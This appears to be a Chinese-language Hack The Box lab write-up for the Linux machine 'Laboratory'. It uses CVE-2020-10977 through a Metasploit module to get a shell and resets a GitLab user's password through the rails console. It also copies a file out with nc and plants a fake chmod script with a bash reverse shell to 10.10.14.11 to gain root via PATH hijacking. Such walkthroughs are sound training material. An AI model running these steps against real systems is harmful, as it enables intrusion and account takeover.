基础信息
简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://app.hackthebox.eu/machines/298
描述: 难度:简单/中等 系统:linux
前言
本次演练使用kali系统按照渗透测试的过程进行操作,通过端口扫描发现了网站使用的域名,登陆之后获得到系统的版本,利用谷歌,搜索可利用的攻击载荷,修改具有一定权限的用户之后,通过该用户进行提权,获取root权限。
一、信息收集
1、靶机ip
IP地址为:10.129.110.208
2、靶机端口与服务
nmap -T4 -sV -A -O 10.129.110.208
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
3、网站信息收集
进入80端口得到三个用户
通过查看前端代码发现没有信息可以收集
想起来知道通过端口扫描开放的443端口
访问git.laboratory.htb
这是一个登录界面注册账号登录后获取gitlab的版本
二、漏洞探测与利用
获取到gitlab的版本信息通过查找发现存在cve-2020-10977漏洞
可使用该漏洞获取passwd文件
链接:https://github.com/thewhiteh4t/cve-2020-10977
之后通过谷歌搜索得到msf的攻击模块中存在可利用的脚本 exploit/multi/http/gitlab_file_read_rce
配置完成后进行攻击
成功获取shell
三、提权
1、user.txt
获取shell后,由于用户权限较低我们需要利用gitlab 修改权限相对较高的用户
从第一步的信息收集中知道Dexter是公司的总裁权限较高,可以修改他的密码
gitlab-rails console 进入gitlab模式
user = User.all 查询所有用户
user = User.find(1) 通过id查询用户
修改密码
user.password = 'new_password'
user.password_confirmation = 'new_password'
user.save
修改用户状态
user.state = 'active'
user.save
接下来使用修改过的密码进行登录
用户:dexter
密码:00000000
在dexter的项目中获取id_rsa
我们可以通过该秘钥进行ssh远程登录
将内容复制到本地创建的id_rsa中,并赋予权限
chmod 600 id_rsa 其他用户只要有这个权限id_rsa就会被忽略
进入home目录下获取user.txt
2、root.txt
使用LinEnum.sh进行扫描,看看有没有可以用来提权的内容
发现具有suid属性的文件
查看文件内容发现是乱码不好看,而且反弹的shell中也没有strings命令
使用nc将文件传输到kali中
nc -l -p 1234 > docker-security kali中的命令
nc -w 5 10.10.14.11 1234 < docker-security shell中的命令
发现docker-security中执行了chmod命令
通过伪造环境变量修改chmod获取root权限
chmod内容
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/4242 0>&1
获取root.txt
参考链接:
https://my.oschina.net/u/3054299/blog/2218505
https://www.cnblogs.com/backlion/p/10503996.html
来源:freebuf.com 2021-03-09 21:09:33 by: WAFmax
请登录后发表评论
注册